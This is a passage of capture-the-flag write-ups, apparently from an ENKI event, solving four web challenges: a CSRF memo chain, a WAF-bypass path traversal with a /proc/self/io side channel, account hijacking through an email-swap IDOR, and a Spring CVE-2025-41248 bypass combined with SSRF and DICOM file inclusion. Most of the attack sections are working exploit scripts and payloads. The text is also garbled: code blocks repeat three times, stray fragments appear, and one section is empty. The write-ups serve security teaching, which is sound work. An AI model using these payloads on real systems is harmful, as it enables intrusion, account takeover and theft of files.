userid = int(re.search(r"/profile/(\\d+)", res.headers["Location"]).group(1))

# Create the parent memo
p_memo = req.post(chall_url + "/memo/create",
    json={"content": "123", "title": "123", "userid": userid})
p_memo_id = p_memo.json()["memo"]["id"]

# Insert a CSRF form into the child memo
c_memo = req.post(chall_url + "/memo/create",
    json={
        "content": f"""<form id={rand} action=/profile/update/{userid} method=post>
  <input name=İsPerm value='♡♤♭♩♮%20'>
</form>
<iframe src='/profile/{userid}'></iframe>""",
        "title": "123", "userid": userid, "parentMemoId": p_memo_id
    })
c_memo_id = c_memo.json()["memo"]["id"]

# Ask the bot to visit the memo
req.post(report_url + "/visit", data={"path": f"{p_memo_id}/{c_memo_id}"})

# Retrieve the flag after obtaining admin privileges
FLAG = req.get(chall_url + "/admin/flag",
    headers={"host": "127.0.0.1"}, cookies=sess).json()["flag"]
rand = random.choice(string.ascii_letters) + random.choice(string.ascii_letters)
username = f'");top.{rand}.submit()//'

# Register an account
res = req.post(chall_url + "/register",
    data={"username": username, "email": f"{username}@test.com", "password": "security12!@"},
    allow_redirects=False)
userid = int(re.search(r"/profile/(\\d+)", res.headers["Location"]).group(1))

# Create the parent memo
p_memo = req.post(chall_url + "/memo/create",
    json={"content": "123", "title": "123", "userid": userid})
p_memo_id = p_memo.json()["memo"]["id"]

# Insert a CSRF form into the child memo
c_memo = req.post(chall_url + "/memo/create",
    json={
        "content": f"""<form id={rand} action=/profile/update/{userid} method=post>
  <input name=İsPerm value='♡♤♭♩♮%20'>
</form>
<iframe src='/profile/{userid}'></iframe>""",
        "title": "123", "userid": userid, "parentMemoId": p_memo_id
    })
c_memo_id = c_memo.json()["memo"]["id"]

# Ask the bot to visit the memo
req.post(report_url + "/visit", data={"path": f"{p_memo_id}/{c_memo_id}"})

# Retrieve the flag after obtaining admin privileges
FLAG = req.get(chall_url + "/admin/flag",
    headers={"host": "127.0.0.1"}, cookies=sess).json()["flag"]
rand = random.choice(string.ascii_letters) + random.choice(string.ascii_letters)
username = f'");top.{rand}.submit()//'

# Register an account
res = req.post(chall_url + "/register",
    data={"username": username, "email": f"{username}@test.com", "password": "security12!@"},
    allow_redirects=False)
userid = int(re.search(r"/profile/(\\d+)", res.headers["Location"]).group(1))

# Create the parent memo
p_memo = req.post(chall_url + "/memo/create",
    json={"content": "123", "title": "123", "userid": userid})
p_memo_id = p_memo.json()["memo"]["id"]

# Insert a CSRF form into the child memo
c_memo = req.post(chall_url + "/memo/create",
    json={
        "content": f"""<form id={rand} action=/profile/update/{userid} method=post>
  <input name=İsPerm value='♡♤♭♩♮%20'>
</form>
<iframe src='/profile/{userid}'></iframe>""",
        "title": "123", "userid": userid, "parentMemoId": p_memo_id
    })
c_memo_id = c_memo.json()["memo"]["id"]

# Ask the bot to visit the memo
req.post(report_url + "/visit", data={"path": f"{p_memo_id}/{c_memo_id}"})

# Retrieve the flag after obtaining admin privileges
FLAG = req.get(chall_url + "/admin/flag",
    headers={"host": "127.0.0.1"}, cookies=sess).json()["flag"]

After obtaining administrator privileges, set the Host header to localhost or 127.0.0.1 to access the /admin/flag endpoint and receive the flag ENKI{48869ff73110ac17ccf68fe88f1e5f40f3f2d86fb2127f142444c2b3f2d36856}.

Overall Evaluation

This problem is a high-difficulty task requiring the organic connection of four techniques: HTML Injection, CSRF, Spring Data Binding Bypass (CVE-2025-22233), and Unicode Decoding Trick. Particularly, the filter bypass using Java's byte casting demonstrates the danger of encoding-related vulnerabilities that can easily be overlooked in practice, and the fact that Spring framework security mechanisms (setDisallowedFields) can be bypassed through CVEs underscores the importance of security updates for the framework.

luck

For problem-solving, please connect to the following platform, authenticate with a token, and receive an instance.

Create Instance: http://portal.luck.rctf.enki.co.kr/

Vulnerability Classification

WAF Bypass, Path Traversal, SSRF (Server-Side Request Forgery), Side-Channel Attack (/proc/self/io)

Purpose of the Problem

This problem was designed to comprehensively evaluate the ability to construct a multi-stage complex attack chain, spanning from WAF (Web Application Firewall) bypass to binary reversing and side-channel attacks, in a black box environment where source code is not provided.

  1. WAF Bypass Techniques: Evaluate the ability to bypass parameter checks through large requests by analyzing partial inspection mode and cache mechanisms.

  2. Exploiting File Download Vulnerabilities: Verify if it is possible to leak server source code and internal binaries through Path Traversal to obtain additional attack surfaces.

  3. Side-Channel Attack: In scenarios where direct output is blocked, verify the ability to implement advanced techniques to extract flags one character at a time by observing changes in the wchar values of /proc/self/io.

Solution

1. Exploring Service Features

When accessing the service in a black box environment, a service in the form of an in-house bulletin board that allows login with the guest/guest123 account is provided. The main features are as follows:

  • Bulletin Board (/board): View list of posts, view individual posts, and download attachments

  • File Download (/board/download): Download files using FileName or FileID parameters

  • Tool Collection (/tools): Calculator (/api/calc), QR Code Generator (/api/qr), Link Preview (/api/link-preview)

  • Memo (/memo): Write and view memos

  • Back-Office Terminal (/back-office-terminal.html): TCP connection to back-office services with a web terminal UI

2. Stage 1 — Path Traversal through WAF Bypass

There is a Path Traversal vulnerability in the file download feature (/board/download?FileName=), but the server-side filter only removes patterns ./ and .u00005C, without blocking ../. However, the WAF detects and blocks ../ patterns.

Analyzing the WAF's operation reveals the following characteristics:

  • Stores combinations of IP:URI of requests that pass inspection in cache (TTL approx. 2000ms)

  • Blocks large requests (>4MB) without cache

  • If cache exists, switches to partial inspection mode: Inspects parameters only up to the inspection budget (4MB) and skips the rest

The procedure for WAF bypass using these characteristics is as follows:

  1. Send a legitimate request to /board/download to warm the WAF cache.

  2. Within the cache TTL (2000ms), send a POST request of more than 4MB. Place padding parameters larger than 4MB at the front, followed by the FileName parameter.

  3. The WAF enters partial inspection mode due to cache hit and consumes the inspection budget with the padding.

  4. Once the budget is consumed, the ../ pattern in the FileName parameter located behind is not inspected and passes through.

PAD_COUNT = 1024
PAD_SIZE = 4000
target = "...//...//...//...//...//...//...//...//...//proc/self/fd/4"

mal_tuples = [(f"pad{i}", "A" * PAD_SIZE) for i in range(PAD_COUNT)]
mal_tuples.append(("FileName", target))
mal_body = urlencode(mal_tuples).encode()
PAD_COUNT = 1024
PAD_SIZE = 4000
target = "...//...//...//...//...//...//...//...//...//proc/self/fd/4"

mal_tuples = [(f"pad{i}", "A" * PAD_SIZE) for i in range(PAD_COUNT)]
mal_tuples.append(("FileName", target))
mal_body = urlencode(mal_tuples).encode()
PAD_COUNT = 1024
PAD_SIZE = 4000
target = "...//...//...//...//...//...//...//...//...//proc/self/fd/4"

mal_tuples = [(f"pad{i}", "A" * PAD_SIZE) for i in range(PAD_COUNT)]
mal_tuples.append(("FileName", target))
mal_body = urlencode(mal_tuples).encode()

On the server side, ...// is converted to ../ by removing ./, succeeding Path Traversal through double encoding technique. Cache warming and attack requests are executed in parallel to increase success rate.

# Cache warmer thread
def cache_warmer(wid):
    while not found.is_set():
        s.post(url, data={"FileID": "1"}, timeout=3)

# Attack thread
def attack(tid):
    res = s.post(url, data=mal_body,
        headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=120)
    if res.status_code == 200 and b"Blocked" not in res.content[:500]:
        with open("a.bin", "wb") as f:
            f.write(res.content)
        found.set()
# Cache warmer thread
def cache_warmer(wid):
    while not found.is_set():
        s.post(url, data={"FileID": "1"}, timeout=3)

# Attack thread
def attack(tid):
    res = s.post(url, data=mal_body,
        headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=120)
    if res.status_code == 200 and b"Blocked" not in res.content[:500]:
        with open("a.bin", "wb") as f:
            f.write(res.content)
        found.set()
# Cache warmer thread
def cache_warmer(wid):
    while not found.is_set():
        s.post(url, data={"FileID": "1"}, timeout=3)

# Attack thread
def attack(tid):
    res = s.post(url, data=mal_body,
        headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=120)
    if res.status_code == 200 and b"Blocked" not in res.content[:500]:
        with open("a.bin", "wb") as f:
            f.write(res.content)
        found.set()

Through /proc/self/fd/4, you can download the web server's source code (JAR file).

3. Gathering Internal Information

Analyzing the obtained source code reveals that internal network requests (SSRF) via /api/link-preview and directory listing via the /api/test endpoint are possible.

Leverage Path Traversal to collect additional files.

  • /home/chall/.bash_history: Server environment information (back-office binary path, etc.)

  • /opt/backoffice/back-office_3ab1542105c9b5aa758c35407db2bfe8: Back-office Rust binary

  • /opt/backoffice/Dockerfile: Confirm that the flag file is located at /app/flag.txt

4. Stage 2 — Reversing the Back-Office Binary

Reversing the downloaded back-office binary (written in Rust) reveals the following actions:




The key constraint is that lines containing the flag (ENKI{...}) are redirected to /dev/null and cannot be read directly. To bypass this, perform a Side-Channel Attack.

5. Stage 3 — Extract Flag via Side-Channel Attack

The amount of data written to /dev/null can be indirectly observed through the wchar (written characters) value of /proc/self/io. If a pattern matches the flag, the line is written to /dev/null, changing the wchar increment. Use this as an oracle.

Attack Algorithm:

  1. Measure Baseline: Execute a blank pattern ("") N times (70 times) and measure the wchar changes to set a threshold (approx. 3000).

  2. Filter Valid Characters: Test each character that might be in the flag alone; retain only those whose wchar changes exceed the threshold.

  3. Brute-Force Each Character: Attach candidate characters to the current prefix (ENKI{ + confirmed character) and test each. If wchar changes exceed the threshold, that character is correct.

  4. Repeat until the } character is found.

def finnn(n, payload):
    r = nc()  # Create a new session
    _, wchar = get_wchar(r)
    for _ in range(n):
        send_flag(r, "")  # Accumulate noise with N empty requests
    send_flag(r, payload)  # Send the actual pattern
    _, wchar1 = get_wchar(r)
    cleanup(r)
    return wchar1 - wchar

# brute-force one character at a time
flag = "ENKI{"
for pos in range(100):
    with ThreadPoolExecutor(max_workers=WORKERS) as pool:
        futures = {pool.submit(finnn, wchar_int, flag + c): c for c in fin}
        for future in as_completed(futures):
            c = futures[future]
            diff = future.result()
            if diff > wchar_over:
                flag += c
                if c == '}':
                    print(f"[FLAG]{flag}")
                    exit()
                break
def finnn(n, payload):
    r = nc()  # Create a new session
    _, wchar = get_wchar(r)
    for _ in range(n):
        send_flag(r, "")  # Accumulate noise with N empty requests
    send_flag(r, payload)  # Send the actual pattern
    _, wchar1 = get_wchar(r)
    cleanup(r)
    return wchar1 - wchar

# brute-force one character at a time
flag = "ENKI{"
for pos in range(100):
    with ThreadPoolExecutor(max_workers=WORKERS) as pool:
        futures = {pool.submit(finnn, wchar_int, flag + c): c for c in fin}
        for future in as_completed(futures):
            c = futures[future]
            diff = future.result()
            if diff > wchar_over:
                flag += c
                if c == '}':
                    print(f"[FLAG]{flag}")
                    exit()
                break
def finnn(n, payload):
    r = nc()  # Create a new session
    _, wchar = get_wchar(r)
    for _ in range(n):
        send_flag(r, "")  # Accumulate noise with N empty requests
    send_flag(r, payload)  # Send the actual pattern
    _, wchar1 = get_wchar(r)
    cleanup(r)
    return wchar1 - wchar

# brute-force one character at a time
flag = "ENKI{"
for pos in range(100):
    with ThreadPoolExecutor(max_workers=WORKERS) as pool:
        futures = {pool.submit(finnn, wchar_int, flag + c): c for c in fin}
        for future in as_completed(futures):
            c = futures[future]
            diff = future.result()
            if diff > wchar_over:
                flag += c
                if c == '}':
                    print(f"[FLAG]{flag}")
                    exit()
                break

Apply parallel processing to test candidate characters at each position simultaneously, improving attack speed. Ultimately, you can obtain the flag ENKI{h3110_and_wE1C0ME_EnK1}.

Comprehensive Evaluation

This problem is a high-difficulty challenge requiring mastery of WAF Bypass, Path Traversal, binary reversing, and Side-Channel Attacks in succession. The WAF bypass technique leveraging partial inspection mode is an excellent example of exploiting performance constraints of real security devices for attacks, and the Side-Channel Attack using /proc/self/io demonstrates extracting information in environments where direct data leaks are blocked. From a defense perspective, it suggests strengthening input validation at the application level instead of relying solely on WAF.

Partner Contract Portal

We have opened a secure partner contract portal for partner agreements.

$ which

$ which

$ which

Please connect to the following platform and authenticate the token to receive an instance for solving this problem.

Create instance: http://portal.partner.rctf.enki.co.kr/

Classification of Vulnerabilities

CAPTCHA Bypass, IDOR (Insecure Direct Object Reference), Business Logic Vulnerability (Account Hijacking through Email Swap), Encryption Logic Analysis, Path Traversal

Intended Problem

This problem was designed to evaluate the ability to detect and exploit common business logic vulnerabilities in a real-world-like black box environment where source code is not provided, and to escalate usage to misuse such vulnerabilities to hijack an account with the highest privileges.

  1. Business Logic Analysis: Identify logical flaws in email changing and password reset flow within an OTP multi-step authentication and encrypted communication environment.

  2. Client-side Encryption Analysis: Analyze and reproduce the AES-GCM encryption logic implemented on frontend to evaluate if security API requests can be accurately composed.

  3. Stepwise Privilege Escalation: Verify whether it is possible to construct a privilege escalation chain from general user → internal staff privilege (internal_ops) → internal admin privilege (internal_admin).

Solution

This problem comprises a total of 11 sequential attack steps. Each step is described in detail.

STEP 1. Registration

Upon accessing the service, a partner contract portal is provided. First, proceed with registration. The password must include uppercase, lowercase, special characters, numbers, and be longer than 10 characters.

During registration, you must pass CAPTCHA (puzzle type authentication). The CAPTCHA is solved automatically by parsing the slot location in the SVG image, where pieces are slid into the correct position.

# Automated CAPTCHA solving: extract slot positions from the SVG
svg_b64 = ch['puzzle']['boardImageDataUrl'].split(',')[1]
svg = base64.b64decode(svg_b64).decode()
match = re.search(r'slotMask.*?<path\\s+d="M\\s+(\\d+)\\s+(\\d+)', svg, re.DOTALL)
slot_x = int(match.group(1))
answer = slot_x - start_x - piece_offset
# Automated CAPTCHA solving: extract slot positions from the SVG
svg_b64 = ch['puzzle']['boardImageDataUrl'].split(',')[1]
svg = base64.b64decode(svg_b64).decode()
match = re.search(r'slotMask.*?<path\\s+d="M\\s+(\\d+)\\s+(\\d+)', svg, re.DOTALL)
slot_x = int(match.group(1))
answer = slot_x - start_x - piece_offset
# Automated CAPTCHA solving: extract slot positions from the SVG
svg_b64 = ch['puzzle']['boardImageDataUrl'].split(',')[1]
svg = base64.b64decode(svg_b64).decode()
match = re.search(r'slotMask.*?<path\\s+d="M\\s+(\\d+)\\s+(\\d+)', svg, re.DOTALL)
slot_x = int(match.group(1))
answer = slot_x - start_x - piece_offset

Once registration is completed, JWT token, OTP registration key, user ID, company ID, and user key seed are returned.

STEP 2. OTP Registration

Register the issued OTP secret key with a TOTP algorithm. OTP will be required for all subsequent authentication processes.

totp = pyotp.TOTP(otpkey)
otp_code = totp.now()
totp = pyotp.TOTP(otpkey)
otp_code = totp.now()
totp = pyotp.TOTP(otpkey)
otp_code = totp.now()

STEP 3. Gathering internal_ops Privilege Account Information

In the response of the /api/notices API, the author's userId and companyId are exposed, allowing collection of identification information for the internal staff (internal_ops) account.

ch = curl_json('GET', f'{url}/api/notices?limit=1',
    headers={"Authorization": f"Bearer{jwttoken}"})
ops_companyid = ch[0]['company_id']
ops_userid = ch[0]['created_by']
ch = curl_json('GET', f'{url}/api/notices?limit=1',
    headers={"Authorization": f"Bearer{jwttoken}"})
ops_companyid = ch[0]['company_id']
ops_userid = ch[0]['created_by']
ch = curl_json('GET', f'{url}/api/notices?limit=1',
    headers={"Authorization": f"Bearer{jwttoken}"})
ops_companyid = ch[0]['company_id']
ops_userid = ch[0]['created_by']

STEP 4. Hijacking the internal_ops Account via Email Swap

The core vulnerability of this problem lies in the hidden Email Change API. Using keyword analysis of email and role change APIs from requests like /api/auth/secure/users/redacted, /api/auth/secure/users/email endpoint is identified. The email change API accepts requests encrypted by AES-GCM, allowing changing an arbitrary user's email based on the request body containing userId and companyId.

First, analyze the frontend's encryption logic. The key for AES-256-GCM encryption is derived using PBKDF2-SHA256, and AAD (Additional Authenticated Data) includes request method, path, and user ID.

def make_secure_raw(path, method, user_id, user_key_seed, json_data):
    key = derive_key("public-passphrase-v1", "public-salt-v1", user_key_seed)
    iv = os.urandom(12)
    aad = f"{method}:{normalize_aad_path(path)}:{user_id}".encode("utf-8")
    plaintext = json.dumps(json_data, separators=(",", ":")).encode("utf-8")
    aesgcm = AESGCM(key)
    encrypted = aesgcm.encrypt(iv, plaintext, aad)
    # ... Build the headers/body ...
    return f"v1.{h_b64}.{b_b64}"
def make_secure_raw(path, method, user_id, user_key_seed, json_data):
    key = derive_key("public-passphrase-v1", "public-salt-v1", user_key_seed)
    iv = os.urandom(12)
    aad = f"{method}:{normalize_aad_path(path)}:{user_id}".encode("utf-8")
    plaintext = json.dumps(json_data, separators=(",", ":")).encode("utf-8")
    aesgcm = AESGCM(key)
    encrypted = aesgcm.encrypt(iv, plaintext, aad)
    # ... Build the headers/body ...
    return f"v1.{h_b64}.{b_b64}"
def make_secure_raw(path, method, user_id, user_key_seed, json_data):
    key = derive_key("public-passphrase-v1", "public-salt-v1", user_key_seed)
    iv = os.urandom(12)
    aad = f"{method}:{normalize_aad_path(path)}:{user_id}".encode("utf-8")
    plaintext = json.dumps(json_data, separators=(",", ":")).encode("utf-8")
    aesgcm = AESGCM(key)
    encrypted = aesgcm.encrypt(iv, plaintext, aad)
    # ... Build the headers/body ...
    return f"v1.{h_b64}.{b_b64}"

The email swap attack procedure is as follows.

  1. Change your own email to a temporary address: Detach the existing email.

  2. Change contract_ops@enki.co.kr email to your own registered email: The internal staff account's email is set to the attacker's email.

# Change your own email to a temporary address
rawdata = make_secure_raw("/api/auth/secure/users/email", "POST",
    userid, user_key,
    {'userId': userid, "companyId": companyid, "email": "swap1234@qwer.com"})

# Change the email of the internal_ops privileged account to your email
rawdata = make_secure_raw("/api/auth/secure/users/email", "POST",
    userid, user_key,
    {'userId': ops_userid, "companyId": ops_companyid, "email": email})
# Change your own email to a temporary address
rawdata = make_secure_raw("/api/auth/secure/users/email", "POST",
    userid, user_key,
    {'userId': userid, "companyId": companyid, "email": "swap1234@qwer.com"})

# Change the email of the internal_ops privileged account to your email
rawdata = make_secure_raw("/api/auth/secure/users/email", "POST",
    userid, user_key,
    {'userId': ops_userid, "companyId": ops_companyid, "email": email})
# Change your own email to a temporary address
rawdata = make_secure_raw("/api/auth/secure/users/email", "POST",
    userid, user_key,
    {'userId': userid, "companyId": companyid, "email": "swap1234@qwer.com"})

# Change the email of the internal_ops privileged account to your email
rawdata = make_secure_raw("/api/auth/secure/users/email", "POST",
    userid, user_key,
    {'userId': ops_userid, "companyId": ops_companyid, "email": email})

STEP 5. Resetting the Password of the internal_ops Account

Now that the internal staff account's email is set to the attacker's email, the password reset feature can be used. An OTP verified reset request issues a resetToken, allowing the setting of a new password.

# Issue a reset token through OTP verification
ch = curl_json('POST', f'{url}/api/auth/password/reset/verify',
    data={"email": email, "otp": get_otp(otpkey)})
resetToken = ch['resetToken']

# Set a new password
curl_json('POST', f'{url}/api/auth/password/reset/complete',
    data={"resetToken": resetToken, "newPassword": password})
# Issue a reset token through OTP verification
ch = curl_json('POST', f'{url}/api/auth/password/reset/verify',
    data={"email": email, "otp": get_otp(otpkey)})
resetToken = ch['resetToken']

# Set a new password
curl_json('POST', f'{url}/api/auth/password/reset/complete',
    data={"resetToken": resetToken, "newPassword": password})
# Issue a reset token through OTP verification
ch = curl_json('POST', f'{url}/api/auth/password/reset/verify',
    data={"email": email, "otp": get_otp(otpkey)})
resetToken = ch['resetToken']

# Set a new password
curl_json('POST', f'{url}/api/auth/password/reset/complete',
    data={"resetToken": resetToken, "newPassword": password})

STEP 6. Logging into the internal_ops Account

Login to the internal staff account with the reset password. An OTP is required for login, which succeeds as the attacker's OTP key is already registered.

STEP 7. Gathering internal_admin Information

Accessing the audit logs API with internal staff privileges reveals the target_id of the internal admin account.

ch = curl_json('GET', f'{url}/api/auth/audit-logs?includeMeta=1&limit=500&offset=0',
    headers={"Authorization": f"Bearer{ops_token}"})
admin_userid = ch['items'][-1]['target_id']
ch = curl_json('GET', f'{url}/api/auth/audit-logs?includeMeta=1&limit=500&offset=0',
    headers={"Authorization": f"Bearer{ops_token}"})
admin_userid = ch['items'][-1]['target_id']
ch = curl_json('GET', f'{url}/api/auth/audit-logs?includeMeta=1&limit=500&offset=0',
    headers={"Authorization": f"Bearer{ops_token}"})
admin_userid = ch['items'][-1]['target_id']

STEPs 8~9. Hijacking the internal_admin Account

Repeat the same email swap and password reset procedures on the internal_admin account as in Steps 4~5. However, email changes can only be performed from a collaborative account with admin privileges, thus, requests must be made using the token from the initially registered account. Note the rate limiting that requires a 60-second wait.

STEP 10. Logging into internal_admin

Log into the internal_admin account to obtain token and userKeySeed.

STEP 11. Obtaining the Flag — File Download

Use the file download API /api/contracts/attachments/download, which only functions under internal admin privileges, to read the flag file. Since the API applies specific string filtering techniques, bypass this by applying Path Traversal to access /flag.txt.

rawdata = make_secure_raw("/contracts/attachments/download", "POST",
    admin_userid, admin_userKeySeed,
    {"filePath": "/proc/self/root/", "fileName": "flag.txt"})

ch = curl_raw('POST', f'{url}/api/contracts/attachments/download',
    data=rawdata,
    headers={"Content-Type": "text/plain",
             "Authorization": f"Bearer{admin_token}"})
rawdata = make_secure_raw("/contracts/attachments/download", "POST",
    admin_userid, admin_userKeySeed,
    {"filePath": "/proc/self/root/", "fileName": "flag.txt"})

ch = curl_raw('POST', f'{url}/api/contracts/attachments/download',
    data=rawdata,
    headers={"Content-Type": "text/plain",
             "Authorization": f"Bearer{admin_token}"})
rawdata = make_secure_raw("/contracts/attachments/download", "POST",
    admin_userid, admin_userKeySeed,
    {"filePath": "/proc/self/root/", "fileName": "flag.txt"})

ch = curl_raw('POST', f'{url}/api/contracts/attachments/download',
    data=rawdata,
    headers={"Content-Type": "text/plain",
             "Authorization": f"Bearer{admin_token}"})

Finally, the flag ENKI{6fab7762f935fe71629b482c285c7691} can be obtained.

Comprehensive Evaluation

This problem focuses more on business logic vulnerabilities (account hijacking via email swap) than on technical vulnerabilities (Path Traversal, CAPTCHA bypass). Though multi-factor authentication (OTP) and client-side encryption (AES-GCM) are implemented, it demonstrates that a single logical flaw, such as the absence of authorization check on the Email Change API, can undermine the entire authentication framework. It provides the lesson that encryption communication or MFA should not solely determine security; each API's business logic must undergo permission verification.

sfa

A medical robot Sales Force Automation system.

Vulnerability Classification

Spring Security method security bypass (CVE-2025-41248), SSRF (Server-Side Request Forgery), Local File Inclusion (LFI) using DICOM BulkDataURI

Author's Intent

This question was designed to assess the ability to construct an attack chain by combining framework-level security vulnerabilities that can be found in Java/Spring-based enterprise applications and parsing vulnerabilities of the DICOM format, which is specialized for the medical domain.

  1. Spring Security Method Security Bypass (CVE-2025-41248): Identifies method security application omissions occurring in Java generics and inheritance structures, and evaluates whether it is possible to access administrator functions with general user permissions.

  2. Access to internal functions via SSRF: Performs SSRF using CSS during the wkhtmltoimage rendering process and evaluates whether it is possible to bypass loopback protection through URL parser confusion.

  3. Parsing vulnerability of DICOM JSON Model DataFragment: Analyzes the differences in BulkDataURI handling of dcm4che to find a DataFragment path with no security hooks applied and verifies whether local files can be read using it.

Solution

1. Understanding the Service Structure

Analyzing the provided source code (Docker configuration), the following configuration can be confirmed.

  • Spring Boot Web Application (port 3000): Medical Robot Sales Force Automation (SFA) System

  • wkhtmltoimage: Rendering tool for converting HTML to images (operates on Xvfb)

  • A function to convert DICOM JSON into .dcm files

  • The flag is located at /tmp/flag in the container (70 bytes)

Key features include login, exporting images (/file/export_card), and converting DICOM files (/file/convert_medical).

2. Step 1 — CVE-2025-41248: Spring Security Method Security Bypass

The /file/export_card controller only checks for login status and relies on @PreAuthorize("hasRole('ADMIN')") in the service method for real administrator restriction. The type hierarchy of the issue is as follows.

HtmlToImageConversionService<A, B>          ← @PreAuthorize("hasRole('ADMIN')")
  └─ AbstractConversionService<B>           ← implements ...Service<String, B>; @Override convertToImage
       └─ HtmlToImageConversionServiceImpl  ← extends AbstractConversionService<String>

HtmlToImageConversionService<A, B>          ← @PreAuthorize("hasRole('ADMIN')")
  └─ AbstractConversionService<B>           ← implements ...Service<String, B>; @Override convertToImage
       └─ HtmlToImageConversionServiceImpl  ← extends AbstractConversionService<String>

HtmlToImageConversionService<A, B>          ← @PreAuthorize("hasRole('ADMIN')")
  └─ AbstractConversionService<B>           ← implements ...Service<String, B>; @Override convertToImage
       └─ HtmlToImageConversionServiceImpl  ← extends AbstractConversionService<String>

Here, convertToImage() only has a security annotation on the top-level interface, and the actual implementation inherits it indirectly through a generic inheritance structure. CVE-2025-41248 indicates that due to this parameterized type hierarchy, Spring Security's annotation detection may not function correctly, leading to a method security lapse.

As a result, even an account like user1 with ROLE_USER can call the export_card function, which was originally meant only for administrators.

3. Step 2 — SSRF: Loopback Bypass

The export_card API uses wkhtmltoimage to render HTML into images. In this process, the @import url(...) statement in CSS is processed, allowing server-side requests to arbitrary URLs.

The application attempts to block loopback addresses like localhost and 127.0.0.1 through a sanitizer, but this check assesses only direct loopback literals without strictly parsing the URL authority. Thus, it can be bypassed using the following URL parser confusion technique.

<http://example.com%5B@127.0.0.1:3000/core/nosession/extstore?request_key=CORE_PASSWD_RESET&USER_ID=admin>
<http://example.com%5B@127.0.0.1:3000/core/nosession/extstore?request_key=CORE_PASSWD_RESET&USER_ID=admin>
<http://example.com%5B@127.0.0.1:3000/core/nosession/extstore?request_key=CORE_PASSWD_RESET&USER_ID=admin>
  • %5B is URL encoding for [.

  • HtmlSanitizer parses the host as example.com, allowing it to pass the loopback block.

  • The actual HTTP client recognizes the part before @ as userinfo and 127.0.0.1:3000 as the host, sending the request to the loopback.

This SSRF resets the password for the admin account.

datahtml = (
    f'<html><head><style>@import url("<http://example.com>%5B@{SSRF_HOST}'
    f'/core/nosession/extstore?request_key=CORE_PASSWD_RESET&USER_ID=admin");'
    f"</style></head><body>reset</body></html>"
)
user.post(f"{BASE}/file/export_card",
    data={"datahtml": datahtml, "render_width": "1200"})
datahtml = (
    f'<html><head><style>@import url("<http://example.com>%5B@{SSRF_HOST}'
    f'/core/nosession/extstore?request_key=CORE_PASSWD_RESET&USER_ID=admin");'
    f"</style></head><body>reset</body></html>"
)
user.post(f"{BASE}/file/export_card",
    data={"datahtml": datahtml, "render_width": "1200"})
datahtml = (
    f'<html><head><style>@import url("<http://example.com>%5B@{SSRF_HOST}'
    f'/core/nosession/extstore?request_key=CORE_PASSWD_RESET&USER_ID=admin");'
    f"</style></head><body>reset</body></html>"
)
user.post(f"{BASE}/file/export_card",
    data={"datahtml": datahtml, "render_width": "1200"})

After resetting the password, log in with the admin account.

4. Step 3 — LFI via DICOM DataFragment BulkDataURI

The /file/convert_medical endpoint accessible with admin rights converts JSON to DICOM files. It internally uses the JSONReader from the dcm4che library.

dcm4che supports the BulkDataURI field according to the DICOM JSON Model spec, and using the file:// scheme allows reading local files. However, application code registers a resolver via setBulkDataCreator() that only permits http: and https: schemes, blocking top-level BulkDataURI.

Bypass Path — DataFragment:

The DataFragment processing path in dcm4che's JSONReader directly creates new BulkData(...), bypassing the setBulkDataCreator() hook. In the DICOM JSON Model spec, DataFragment represents the structure of encapsulated pixel data.

{
  "00100010": { "vr": "PN", "Value": [{"Alphabetic": "FlagReport"}] },
  "7FE00010": {
    "vr": "OB",
    "DataFragment": [
      null,
      {"BulkDataURI": "file:///tmp/flag?offset=0&length=70"}
    ]
  }
}
{
  "00100010": { "vr": "PN", "Value": [{"Alphabetic": "FlagReport"}] },
  "7FE00010": {
    "vr": "OB",
    "DataFragment": [
      null,
      {"BulkDataURI": "file:///tmp/flag?offset=0&length=70"}
    ]
  }
}
{
  "00100010": { "vr": "PN", "Value": [{"Alphabetic": "FlagReport"}] },
  "7FE00010": {
    "vr": "OB",
    "DataFragment": [
      null,
      {"BulkDataURI": "file:///tmp/flag?offset=0&length=70"}
    ]
  }
}

DataFragment Structure Explanation:

  • DataFragment[0] = Basic Offset Table (null for single frame)

  • DataFragment[1+] = Actual data fragments (InlineBinary or BulkDataURI)

Using null is necessary because dcm4che's JSONReader consumes the first array element as the offset table. Without null, BulkDataURI would be mistakenly processed as the offset table.

Additionally, dcm4che's BulkData class parses offset and length query parameters from the URI. Since the flag in the problem is 70 bytes long, it must be specified as length=70 to read the entire content.

5. Executing the Exploit

The full automated exploit is as follows.

# 1. Log in as user1
user.post(f"{BASE}/auth/login",
    data="EMP_ID=user1&PASSWD=password&request_key=CORE_LOGIN_R_001")

# 2. Reset the admin password via SSRF
#    Access export_card using CVE-2025-41248
user.post(f"{BASE}/file/export_card",
    data={"datahtml": datahtml, "render_width": "1200"})

# 3. Log in as admin
admin.post(f"{BASE}/auth/login",
    data="EMP_ID=admin&PASSWD=password&request_key=CORE_LOGIN_R_001")

# 4. Read the flag file using DataFragment BulkDataURI
med = admin.post(f"{BASE}/file/convert_medical",
    json={
        "00100010": {"vr": "PN", "Value": [{"Alphabetic": "FlagReport"}]},
        "7FE00010": {
            "vr": "OB",
            "DataFragment": [
                None, # null
                {"BulkDataURI": "file:///tmp/flag?offset=0&length=70"}
            ]
        }
    })

# 5. Download the DICOM file and extract the flag
fid = med.json()["data"][0]["FILE_ID"]
blob = admin.get(f"{BASE}/file/link_{fid}.dcm")
# 1. Log in as user1
user.post(f"{BASE}/auth/login",
    data="EMP_ID=user1&PASSWD=password&request_key=CORE_LOGIN_R_001")

# 2. Reset the admin password via SSRF
#    Access export_card using CVE-2025-41248
user.post(f"{BASE}/file/export_card",
    data={"datahtml": datahtml, "render_width": "1200"})

# 3. Log in as admin
admin.post(f"{BASE}/auth/login",
    data="EMP_ID=admin&PASSWD=password&request_key=CORE_LOGIN_R_001")

# 4. Read the flag file using DataFragment BulkDataURI
med = admin.post(f"{BASE}/file/convert_medical",
    json={
        "00100010": {"vr": "PN", "Value": [{"Alphabetic": "FlagReport"}]},
        "7FE00010": {
            "vr": "OB",
            "DataFragment": [
                None, # null
                {"BulkDataURI": "file:///tmp/flag?offset=0&length=70"}
            ]
        }
    })

# 5. Download the DICOM file and extract the flag
fid = med.json()["data"][0]["FILE_ID"]
blob = admin.get(f"{BASE}/file/link_{fid}.dcm")
# 1. Log in as user1
user.post(f"{BASE}/auth/login",
    data="EMP_ID=user1&PASSWD=password&request_key=CORE_LOGIN_R_001")

# 2. Reset the admin password via SSRF
#    Access export_card using CVE-2025-41248
user.post(f"{BASE}/file/export_card",
    data={"datahtml": datahtml, "render_width": "1200"})

# 3. Log in as admin
